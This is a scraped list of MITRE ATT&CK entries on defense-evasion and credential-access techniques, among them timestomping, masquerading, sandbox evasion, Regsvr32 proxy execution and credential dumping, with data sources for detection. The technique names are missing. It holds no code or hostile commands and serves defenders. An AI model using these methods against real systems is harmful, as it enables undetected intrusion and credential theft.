Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre